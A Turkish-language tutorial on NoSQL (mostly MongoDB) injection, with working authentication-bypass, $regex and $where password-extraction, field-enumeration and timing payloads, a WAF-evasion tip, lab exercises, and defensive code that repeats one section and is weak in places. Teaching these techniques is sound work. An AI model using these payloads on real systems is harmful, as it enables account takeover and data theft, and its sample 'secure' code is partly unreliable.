NoSQL Injection

Modern veritabanlarının güvenlik açıkları ve saldırı teknikleri

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

NoSQL Injection Güvenlik Açığı

NoSQL injection, saldırganların NoSQL veritabanına yapılan sorgulara müdahale edebildiği bir güvenlik açığıdır. Bu açık, modern web uygulamalarında giderek daha yaygın hale gelmektedir çünkü birçok uygulama geleneksel SQL veritabanlarından NoSQL alternatiflere geçiş yapmaktadır.

NoSQL Injection ile Neler Yapılabilir:
  • Kimlik doğrulama mekanizmalarını atlama
  • Veri çıkartma veya düzenleme
  • Hizmet reddi (DoS) saldırıları
  • Sunucuda kod çalıştırma
  • Yetkilendirme kontrollerini bypass etme

NoSQL veritabanları, geleneksel SQL ilişkisel tablolarından farklı bir formatta veri depolar ve alır. SQL'den farklı olarak çok çeşitli sorgu dilleri kullanır ve daha az ilişkisel kısıtlamalara sahiptir. Bu esneklik, güvenlik açıkları için yeni fırsatlar yaratır.

Popüler NoSQL Veritabanları:
MongoDB: Belge tabanlı veritabanı (en popüler)
Redis: Anahtar-değer deposu
Cassandra: Sütun tabanlı veritabanı
CouchDB: Belge tabanlı veritabanı
Neo4j: Grafik veritabanı
SQL vs NoSQL Farkları
SQL: Yapılandırılmış, ilişkisel, standart sorgu dili (ANSI SQL)
NoSQL: Esnek yapı, çeşitli sorgu dilleri, yatay ölçeklenebilir

Bu farklılıklar, NoSQL injection saldırılarının SQL injection'dan farklı teknikler gerektirmesine neden olur.

NoSQL Injection Nasıl Çalışır?

NoSQL injection saldırıları, kullanıcı girdisinin NoSQL sorgularında güvenli olmayan şekilde kullanılması sonucu ortaya çıkar. SQL injection'a benzer şekilde, saldırganlar özel karakterler ve komutlar ekleyerek sorguyu manipüle edebilir.

Temel Saldırı Prensibi:

// Normal kullanıcı girdisi
username = "admin"

// MongoDB sorgusu
db.users.find({username: "admin"})
Saldırgan özel payload gönderir:
{"username":{"$ne":"invalid"}}

Sonuç sorgu:
db.users.find({username: {$ne: "invalid"}})

Bu sorgu "invalid" olmayan tüm kullanıcıları döndürür!
Dikkat: Bu basit örnekte bile, saldırgan kimlik doğrulamayı tamamen atlayabilir ve sistemdeki ilk kullanıcı olarak giriş yapabilir.

NoSQL injection'ın tehlikeli olmasının temel nedeni, NoSQL veritabanlarının sorgu dillerinin çok çeşitli olması ve geliştiricilerin bu dillere SQL kadar aşina olmamasıdır.

NoSQL Injection Türleri

NoSQL injection saldırıları iki ana kategoriye ayrılır. Her birinin farklı saldırı vektörleri ve tespit yöntemleri vardır:

1. Syntax Injection

NoSQL sorgu sözdizimini bozarak kendi payload'ınızı enjekte edebilmeniz durumudur. SQL injection'a benzer metodoloji kullanılır, ancak saldırının doğası NoSQL veritabanının sorgu dili ve veri yapısına göre değişir.

// Güvenlik açığı olan MongoDB sorgusu
this.category == 'fizzy'
Saldırı payload'ı: '||'1'=='1
Sonuç sorgu: this.category == 'fizzy'||'1'=='1'
Bu her zaman true döndürdüğü için tüm kayıtları getirir.

2. Operator Injection

NoSQL sorgu operatörlerini kullanarak sorguları manipüle edebilmeniz durumudur. Bu tür saldırılar, NoSQL'e özgü operatörlerin kötüye kullanılmasına dayanır.

// Normal JSON girdisi
{"username":"wiener","password":"peter"}
Saldırı payload'ı:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

Bu, kullanıcı adı ve parola "invalid" olmayan tüm hesapları döndürür.
Hangi Türü Seçmeli?
Syntax Injection: Sorgu string'i içinde özel karakterler kabul ediliyorsa
Operator Injection: JSON objesi veya URL parametreleri kabul ediliyorsa

Çoğu modern uygulama JSON kullandığı için operator injection daha yaygındır.

Syntax Injection Saldırıları

Syntax injection, NoSQL sorgu sözdizimini sistematik olarak test ederek tespit edilebilir. Her girdi alanına fuzz string'ler ve özel karakterler göndererek veritabanı hatası veya tespit edilebilir davranış tetiklenip tetiklenmediği kontrol edilir.

MongoDB'de Syntax Injection Tespiti

MongoDB Fuzz String Örneği
Test URL'si:
https://insecure-website.com/product/lookup?category=fizzy

MongoDB Sorgusu:
this.category == 'fizzy'

Test için Fuzz String:
'"`{;$Foo}$Foo \xYZ
URL-encoded saldırı:
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

Eğer bu istek orijinal yanıttan farklı bir yanıt veriyorsa, kullanıcı girdisinin doğru şekilde filtrelenmediği veya sanitize edilmediğini gösterebilir.

Önemli Not: NoSQL injection açıkları çeşitli bağlamlarda ortaya çıkabilir. Fuzz string'lerinizi bu bağlamlara uygun şekilde adapte etmelisiniz. URL, JSON, XML gibi farklı formatlar farklı encoding gerektirir.

Karakter Analizi

Hangi karakterlerin uygulama tarafından sözdizimi olarak yorumlandığını belirlemek için, tek tek karakterler enjekte edebilirsiniz.

// Tek tırnak testi
this.category == '''

Eğer bu syntax error verirse, tek tırnak karakterinin sorgu sözdizimini bozduğu anlamına gelir.

Koşullu Davranış Kontrolü

Boolean Logic Testleri
False Koşul: ' && 0 && 'x
True Koşul: ' && 1 && 'x

Eğer uygulama bu iki koşul için farklı davranıyorsa, sorgu mantığını etkileyebildiğiniz anlamına gelir.

Mevcut Koşulları Override Etme

Boolean koşulları etkileyebildiğinizi belirledikten sonra, mevcut koşulları override etmeye çalışabilirsiniz:

Always true koşulu:
'||'1'=='1

URL'de kullanım:
category=fizzy%27%7c%7c%27%31%27%3d%3d%27%31

Bu tüm kategorilerdeki ürünleri gösterir.
Dikkat: Her zaman true değerlendiren koşulları NoSQL sorgusuna enjekte ederken dikkatli olun. Başlangıçta zararsız görünse de, uygulamalar tek bir istekten gelen veriyi birden fazla farklı sorguda kullanabilir.

Null Karakter Bypass

MongoDB null karakterden sonraki tüm karakterleri görmezden gelebilir:

Null karakter saldırısı:
category=fizzy'%00

Eğer orijinal sorgu şuysa:
this.category == 'fizzy' && this.released == 1

Null karakterden sonraki kısım görmezden gelinir.

Operator Injection Saldırıları

NoSQL veritabanları genellikle sorgu operatörleri kullanır. Bu operatörler, verilerin sorgu sonucuna dahil edilmesi için karşılaması gereken koşulları belirtmenin yollarını sağlar.

MongoDB Sorgu Operatörleri:
$where: JavaScript ifadesi karşılayan belgeleri eşleştirir
$ne: Belirtilen değere eşit olmayan tüm değerleri eşleştirir
$in: Bir dizide belirtilen değerlerin tümünü eşleştirir
$regex: Belirtilen düzenli ifadeyle eşleşen değerleri seçer
$gt/$lt: Büyük/küçük karşılaştırma operatörleri
$exists: Belirtilen alanın var olup olmadığını kontrol eder

JSON Mesajlarında Operatör Enjeksiyonu

// Normal JSON girdisi
{"username":"wiener"}

// Operatör enjeksiyonu
{"username":{"$ne":"invalid"}}

URL Tabanlı Girişlerde Operatör Enjeksiyonu

Normal URL parametresi:
username=wiener

Operatör injection saldırısı:
username[$ne]=invalid

Eğer çalışmazsa alternatif yöntemler:
• GET'ten POST'a geçiş
• Content-Type'ı application/json yapma
• JSON body ekleme
Authentication Bypass Örneği
Hedef: Login formunu atlama

Normal İstek:
{"username":"admin","password":"secret123"}

Saldırı İsteği:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

Bu sorgu, hem kullanıcı adı hem de parolanın "invalid" olmadığı ilk giriş bilgisini döndürür ve saldırgan sisteme girer.

Hedefli Hesap Saldırısı

Belirli kullanıcıları hedefleme:
{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":""}}

Bu payload bilinen admin kullanıcı adlarını hedefler ve boş olmayan parolalı hesapları arar.
Content Type Converter İpucu: Burp Suite'teki Content Type Converter uzantısını kullanarak GET isteklerini POST'a dönüştürebilir ve URL-encoded verilerini JSON formatına çevirebilirsiniz.

Syntax Injection ile Veri Çıkartma

Birçok NoSQL veritabanında bazı sorgu operatörleri veya fonksiyonları, MongoDB'nin $where operatörü ve mapReduce() fonksiyonu gibi sınırlı JavaScript kodu çalıştırabilir. Bu durum, güvenlik açığının exploitation edilmesi için büyük fırsat sunar.

MongoDB'de Veri Sızdırma

Karakter Karakter Veri Çıkartma
Hedef URL:
https://insecure-website.com/user/lookup?username=admin

Oluşan MongoDB Sorgusu:
{"$where":"this.username == 'admin'"}

Veri Çıkartma Payload'ı:
admin' && this.password[0] == 'a' || 'a'=='b

Bu payload, admin kullanıcısının parolasının ilk karakterinin 'a' olup olmadığını test eder.
JavaScript match() fonksiyonu örneği:
admin' && this.password.match(/\d/) || 'a'=='b

Bu payload parolanın rakam içerip içermediğini tespit eder.

Alan Adlarını Belirleme

MongoDB semi-yapılandırılmış veriler işlediğinden ve sabit bir şema gerektirmediğinden, JavaScript injection kullanarak veri çıkartmadan önce koleksiyondaki geçerli alanları belirlemeniz gerekebilir.

// Alan varlığı testi - password alanı var mı?
admin' && this.password!='

// Mevcut alan testi - username alanı
admin' && this.username!='

// Var olmayan alan testi
admin' && this.nonexistent!='

Password alanı varsa, yanıt mevcut alan (username) ile aynı olmalı, ancak var olmayan alandan farklı olmalıdır.

Object.keys() metodu ile alan çıkartma:
"$where":"Object.keys(this)[0].match('^.{0}a.*')"

Bu, kullanıcı nesnesindeki ilk veri alanını inceler ve alan adının ilk karakterini döndürür.
Alternatif Yaklaşım: NoSQL operatör injection kullanarak alan adlarını karakter karakter çıkartabilirsiniz. Bu, tahmin yapmak veya wordlist saldırısı yapmak zorunda kalmadan alan adlarını belirlemenizi sağlar.

Operator Injection ile Veri Çıkartma

JavaScript çalıştırmanızı sağlamayan operatörleri kullanarak da veri çıkartabilirsiniz. Örneğin, $regex operatörünü kullanarak veriyi karakter karakter çıkartabilirsiniz.

$regex Operatörü ile Sistemli Veri Çıkartma

Regex Tabanlı Veri Çıkartma
Başlangıç Testi:
{"username":"admin","password":{"$regex":"^.*"}}

İlk Karakter Kontrolü:
{"username":"admin","password":{"$regex":"^a"}}

Bu payload parolanın 'a' harfi ile başlayıp başlamadığını kontrol eder.
Sistemli veri çıkartma için regex pattern örnekleri:
^[a-z] - İlk karakter küçük harf mi?
^[A-Z] - İlk karakter büyük harf mi?
^\d - İlk karakter rakam mı?
^.{5} - En az 5 karakter var mı?
^admin.* - "admin" ile başlıyor mu?

JavaScript Operatörü Enjeksiyonu

Orijinal sorgu JavaScript çalıştırmanıza izin veren operatörler kullanmasa bile, kendiniz bu operatörlerden birini enjekte edebilirsiniz.

$where operatörü enjekte etme:
{"username":"admin","password":"secret", "$where":"0"}
{"username":"admin","password":"secret", "$where":"1"}

Eğer yanıtlar arasında fark varsa, JavaScript ifadesi $where clause'unda çalışıyor demektir.
Performans Notu: Regex tabanlı veri çıkartma, JavaScript tabanlı yöntemlerden daha yavaş olabilir, ancak daha az tespit edilebilir ve çoğu NoSQL veritabanında çalışır.

Timing Tabanlı Injection

Bazen veritabanı hatası tetiklemek uygulamanın yanıtında bir farklılık yaratmaz. Bu durumda, koşullu zaman gecikmesi tetiklemek için JavaScript injection kullanarak açığı tespit edip exploit edebilirsiniz.

Timing Tabanlı Saldırı Metodolojisi

Adım Adım Yaklaşım:
1. Sayfayı birkaç kez yükleyerek baseline loading time belirleyin
2. Timing tabanlı payload ekleyin
3. Yanıtın daha yavaş yüklenip yüklenmediğini kontrol edin
4. Başarılı injection'ı doğrulayın ve exploit edin
Temel timing payload'ı:
{"$where": "sleep(5000)"}

Bu, başarılı injection durumunda 5000ms (5 saniye) kasıtlı gecikme yaratır.

Koşullu Timing Saldırıları

Koşullu Gecikme Payload'ları
Busy-wait yaklaşımı:
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'

Sleep fonksiyonu yaklaşımı:
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

Bu payload'lar parola 'a' harfi ile başlıyorsa zaman gecikmesi tetikler.

Timing Saldırısı Best Practices

Dikkat Edilmesi Gerekenler:
• Timing saldırıları ağ gecikmesi ve sunucu yükü gibi faktörlerden etkilenebilir
• Tutarlı sonuçlar için multiple test yapın
• İstatistiksel analiz kullanın (ortalama, medyan)
• Çok uzun delay'ler DoS etkisi yaratabilir
• WAF detection'dan kaçınmak için random delay'ler kullanın
Gelişmiş timing payload (random delay ile):
admin'+function(x){if(x.password[0]==="a"){sleep(Math.floor(Math.random()*3000)+2000)};}(this)+'

Bu 2-5 saniye arası rastgele gecikme yaratır.

NoSQL Injection'dan Korunma

NoSQL injection saldırılarını önlemenin uygun yolu, kullandığınız spesifik NoSQL teknolojisine bağlıdır. Her veritabanının kendine özgü güvenlik önlemleri bulunur, ancak genel rehberlik ilkeleri evrenseldir.

Temel Savunma Stratejileri:
• Kullanıcı girdisini sanitize edin ve validate edin
• Kabul edilen karakterlerin allowlist'ini kullanın
• Parametreli sorgular (prepared statements) kullanın
• Kullanıcı girdisini doğrudan sorguya concatenate etmeyin
• Minimum privilege principle uygulayın
• Input validation ve output encoding yapın

MongoDB Güvenlik Önlemleri

Güvenli ve Güvensiz Kod Örneği
// Güvensiz kod - String concatenation
const query = `{"username": "${username}"}`;
const result = db.collection('users').find(JSON.parse(query));

// Güvenli kod - Parametreli sorgu
const safeQuery = {username: username};
const safeResult = db.collection('users').find(safeQuery);

Input Validation ve Sanitization

Input Validation Checklist
✓ Tip kontrolü: Beklenen veri tiplerini doğrulayın
✓ Uzunluk sınırı: Maksimum uzunluk limitlerini uygulayın
✓ Karakter filtresi: Özel karakterleri filtreleyin
✓ Encoding: Uygun encoding kullanın
✓ Allowlist: Sadece güvenli karakterlere izin verin
✓ Type casting: Doğru veri tipine dönüştürün
Güvenli Input Validation Örneği
// Güvenli input validation örneği
function validateInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  if (input.length > 50) {
    throw new Error('Input too long');
  }
  return input.replace(/[^a-zA-Z0-9]/g, '');
}

Operator Injection Önleme

Kabul Edilen Anahtarların Allowlist'i: Operator injection'ı önlemek için, sadece kabul edilen anahtarların allowlist'ini uygulayın. Bu, saldırganların zararlı operatörleri enjekte etmesini engeller.
Güvenli Key Validation Örneği
// Güvenli key validation
const allowedKeys = ['username', 'email', 'age'];
const sanitizeQuery = (userInput) => {
  const sanitized = {};
  for (const [key, value] of Object.entries(userInput)) {
    if (allowedKeys.includes(key) && typeof value === 'string') {
      sanitized[key] = value;
    }
  }
  return sanitized;
};

İleri Düzey Güvenlik Önlemleri

Rate Limiting Implementation
// Rate limiting implementation
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 dakika
  max: 100, // IP başına 100 istek
  message: 'Çok fazla istek, lütfen daha sonra tekrar deneyin'
});
WAF (Web Application Firewall): NoSQL injection saldırılarını tespit edip engelleyebilecek WAF kuralları uygulamalısınız. Ancak WAF'ın tek savunma katmanı olmaması gerektiğini unutmayın - defense in depth prensibi uygulayın.

Monitoring ve Detection

Monitoring ve Detection
Şüpheli pattern'ler için log monitoring:
$ne, $in, $where, $regex operatörlerin anormal kullanımı
JavaScript injection pattern'leri
Anormal query execution time
Çoklu failed login attempt'ler

JavaScript ile NoSQL Injection

JavaScript tabanlı NoSQL injection saldırıları, özellikle Node.js uygulamalarında yaygındır. Bu bölümde JavaScript kullanarak NoSQL injection tekniklerini ve korunma yöntemlerini inceleyeceğiz.

JavaScript Injection Vektörleri

// Vulnerable JavaScript code
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const query = `{"username": "${username}", "password": "${password}"}`;
  const user = await User.findOne(JSON.parse(query));
  if (user) {
    res.json({ success: true, user });
  } else {
    res.json({ success: false });
  }
});
JavaScript injection payload:
username: "admin", password: {"$ne": ""}

Resulting query:
{"username": "admin", "password": {"$ne": ""}}

$where Operatörü ile JavaScript Injection

// $where operatörü kullanımı
const searchQuery = req.query.search;
const query = {
  $where: `this.name.indexOf('${searchQuery}') !== -1`
};
const results = await Product.find(query);
JavaScript Injection Risk:
$where operatörü JavaScript kodunu execute eder. Bu, saldırganların arbitrary JavaScript kodu çalıştırmasına olanak tanır.
Malicious $where payload:
search: "') || (this.password.length > 0) || ('"

Resulting query:
{"$where": "this.name.indexOf('') || (this.password.length > 0) || ('') !== -1"}

Güvenli JavaScript Implementation

// Güvenli kod - Parametreli sorgu
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  // Input validation
  if (!username || !password) {
    return res.status(400).json({ error: 'Missing credentials' });
  }
  // Güvenli sorgu
  const user = await User.findOne({
    username: username,
    password: password
  });
  if (user) {
    res.json({ success: true, user });
  } else {
    res.json({ success: false });
  }
});

Input Sanitization Library

// Input sanitization utility
const sanitizeInput = (input) => {
  if (typeof input !== 'string') {
    throw new Error('Input must be string');
  }
  // Remove dangerous characters
  return input
    .replace(/[{}"'$]/g, '')
    .replace(/\$/g, '\\$')
    .substring(0, 100); // Limit length
};
💡 Best Practices:
• $where operatörünü kullanmaktan kaçının
• Input validation ve sanitization yapın
• Parametreli sorgular kullanın
• MongoDB'de strict mode'u aktif edin
• Regular expression'ları dikkatli kullanın
MongoDB Strict Mode
MongoDB'de strict mode aktif edildiğinde, bilinmeyen field'lar otomatik olarak reddedilir. Bu, operator injection saldırılarını önlemeye yardımcı olur.

MongoDB Güvenlik Önlemleri

Güvenli ve Güvensiz Kod Örneği
// Güvensiz kod - String concatenation
const query = `{"username": "${username}"}`;
const result = db.collection('users').find(JSON.parse(query));

// Güvenli kod - Parametreli sorgu
const safeQuery = {username: username};
const safeResult = db.collection('users').find(safeQuery);

Input Validation ve Sanitization

Input Validation Checklist
✓ Tip kontrolü: Beklenen veri tiplerini doğrulayın
✓ Uzunluk sınırı: Maksimum uzunluk limitlerini uygulayın
✓ Karakter filtresi: Özel karakterleri filtreleyin
✓ Encoding: Uygun encoding kullanın
✓ Allowlist: Sadece güvenli karakterlere izin verin
✓ Type casting: Doğru veri tipine dönüştürün
Güvenli Input Validation Örneği
// Güvenli input validation örneği
function validateInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  if (input.length > 50) {
    throw new Error('Input too long');
  }
  return input.replace(/[^a-zA-Z0-9]/g, '');
}

Operator Injection Önleme

Kabul Edilen Anahtarların Allowlist'i: Operator injection'ı önlemek için, sadece kabul edilen anahtarların allowlist'ini uygulayın. Bu, saldırganların zararlı operatörleri enjekte etmesini engeller.
Güvenli Key Validation Örneği
// Güvenli key validation
const allowedKeys = ['username', 'email', 'age'];
const sanitizeQuery = (userInput) => {
  const sanitized = {};
  for (const [key, value] of Object.entries(userInput)) {
    if (allowedKeys.includes(key) && typeof value === 'string') {
      sanitized[key] = value;
    }
  }
  return sanitized;
};

İleri Düzey Güvenlik Önlemleri

Rate Limiting Implementation
// Rate limiting implementation
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 dakika
  max: 100, // IP başına 100 istek
  message: 'Çok fazla istek, lütfen daha sonra tekrar deneyin'
});
WAF (Web Application Firewall): NoSQL injection saldırılarını tespit edip engelleyebilecek WAF kuralları uygulamalısınız. Ancak WAF'ın tek savunma katmanı olmaması gerektiğini unutmayın - defense in depth prensibi uygulayın.

Monitoring ve Detection

Monitoring ve Detection
Şüpheli pattern'ler için log monitoring:
$ne, $in, $where, $regex operatörlerin anormal kullanımı
JavaScript injection pattern'leri
Anormal query execution time
Çoklu failed login attempt'ler

Pratik Lab Örnekleri

NoSQL injection tekniklerini anlamak ve pratik yapmak için çeşitli lab örnekleri ve senaryolar. Bu örnekler authorized testing ortamlarında pratik yapmanız için tasarlanmıştır.

Lab 1: Authentication Bypass (Başlangıç)
Seviye: Başlangıç
Hedef: MongoDB operatör injection kullanarak kimlik doğrulamayı atlama

Senaryo: E-ticaret sitesi MongoDB kullanarak kullanıcı girişini doğruluyor. $ne operatörünü kullanarak admin hesabına erişim sağlayın.

Çözüm İpucu:
{"username":{"$ne":""},"password":{"$ne":""}}
Lab 2: NoSQL Injection Detection (Başlangıç)
Seviye: Başlangıç
Hedef: Syntax injection açığını tespit etme

Senaryo: Online mağaza sitesinde ürün kategori filtreleme özelliğinde NoSQL injection açığı mevcut. MongoDB fuzz string kullanarak açığı tespit edin.

Test String'i:
'"`{;$Foo}$Foo \xYZ
Lab 3: Data Extraction (Orta)
Seviye: Orta Seviye
Hedef: JavaScript injection kullanarak veri çıkartma

Senaryo: Kullanıcı arama fonksiyonunda $where operatörü kullanılıyor. Admin kullanıcısının parolasını karakter karakter çıkartın.

Başlangıç Payload'ı:
admin' && this.password[0] == 'a' || 'a'=='b
Lab 4: Unknown Field Extraction (Orta)
Seviye: Orta Seviye
Hedef: Bilinmeyen alan adlarını çıkartma

Senaryo: MongoDB koleksiyonundaki alan adlarını bilmiyorsunuz. Object.keys() metodunu kullanarak alan adlarını tespit edin.

Payload Örneği:
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
Lab 5: Timing Attack (İleri)
Seviye: İleri Seviye
Hedef: Timing tabanlı blind injection

Senaryo: Uygulama error mesajları göstermiyor ancak JavaScript execution mümkün. Timing saldırısı ile veri çıkartın.

Payload Örneği:
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
Etik Kullanım Uyarısı:
Bu teknikler sadece aşağıdaki durumlarda kullanılmalıdır:
• Authorized penetration testing
• Bug bounty programları (scope dahilinde)
• Kendi sistemlerinizde güvenlik testi
• Eğitim amaçlı lab ortamlarında

Unauthorized sistemlerde bu teknikleri kullanmak yasadışıdır ve ciddi legal sonuçlara yol açabilir.

Best Practices ve İleri Teknikler

NoSQL injection testleri yaparken ve sistemleri korurken dikkate alınması gereken ileri düzey konular ve professional yaklaşımlar.

Penetration Testing İpuçları

Systematic Testing Approach:
• Farklı encoding türlerini deneyin (URL, Base64, Unicode)
• HTTP metodlarını değiştirin (GET → POST → PUT)
• Content-Type header'larını manipüle edin
• Nested JSON yapılarını test edin
• Array injection tekniklerini kullanın
• Different database engines için özel payload'lar hazırlayın
Professional Testing Tools
Burp Suite Professional: Web security testing platform
NoSQLMap: Automated NoSQL injection testing framework
OWASP ZAP: Free and open source security testing tool
SQLMap: NoSQL extension'ları ile kullanım
Custom Scripts: Python/Node.js ile özel automation
Browser Extensions: Content Type Converter, JSON Formatter

Advanced Attack Techniques

Advanced Attack Techniques
Array injection örneği:
{"username":["admin","administrator"],"password":{"$ne":""}}

Nested object injection:
{"user":{"$where":"this.admin==true"}}

Multiple condition bypass:
{"$or":[{"username":"admin"},{"email":"admin@site.com"}]}
Monitoring ve Detection Systems: NoSQL injection saldırılarını tespit etmek için real-time log analizi, anomaly detection ve SIEM entegrasyonu kullanın. Machine learning tabanlı threat detection sistemleri özellikle etkili olabilir.

Enterprise Security Recommendations

Enterprise Security Middleware
// Comprehensive security middleware
const securityMiddleware = (req, res, next) => {
  // Rate limiting
  if (!checkRateLimit(req.ip)) {
    return res.status(429).json({error: 'Rate limit exceeded'});
  }

  // Input validation
  const sanitized = sanitizeInput(req.body);
  if (!sanitized) {
    return res.status(400).json({error: 'Invalid input'});
  }

  // Security logging
  logSecurityEvent(req, 'input_validation_passed');
  next();
};

Güvenli Geliştirme ve Sürekli Öğrenme

NoSQL injection, modern web uygulamalarının karşılaştığı ciddi güvenlik tehditlerindendir. Bu açıkları anlamak ve önlemek, güvenli yazılım geliştirme süreçlerinin kritik bir parçasıdır.

Önemli Hatırlatmalar
Sürekli güncelleme: NoSQL teknolojileri ve güvenlik teknikleri hızla gelişiyor
Defense in depth: Tek bir güvenlik katmanına güvenmeyin, çoklu koruma kullanın
Regular testing: Düzenli güvenlik testleri ve code review yapın
Team education: Geliştiricileri NoSQL güvenliği konularında eğitin
Incident response: Saldırı durumunda hızlı müdahale planınız hazır olsun
Yasal ve Etik Uyarı:
Bu dokümandaki bilgiler sadece eğitim ve authorized güvenlik testleri için sunulmuştur. Bu teknikleri unauthorized sistemlerde kullanmak yasadışıdır ve ciddi hukuki sonuçlara yol açabilir.

Her zaman şunları unutmayın:
• Sadece izin verilen sistemlerde test yapın
• Etik hacking prensiplerini takip edin
• Responsible disclosure süreçlerini uygulayın
• Legal authorization olmadan asla test yapmayın

{"security": "always_priority"}

NoSQL injection açıklarından korunmayı öğrendiniz!

Sonraki Adımlar:
• OWASP NoSQL Injection prevention cheat sheet'ini inceleyin
• Kullandığınız NoSQL database'in security documentation'ını okuyun
• Authorized lab ortamlarında pratik yapın
• Bug bounty programlarına katılım için hazırlanın
• Security community'lerde aktif olun ve deneyimlerini paylaşın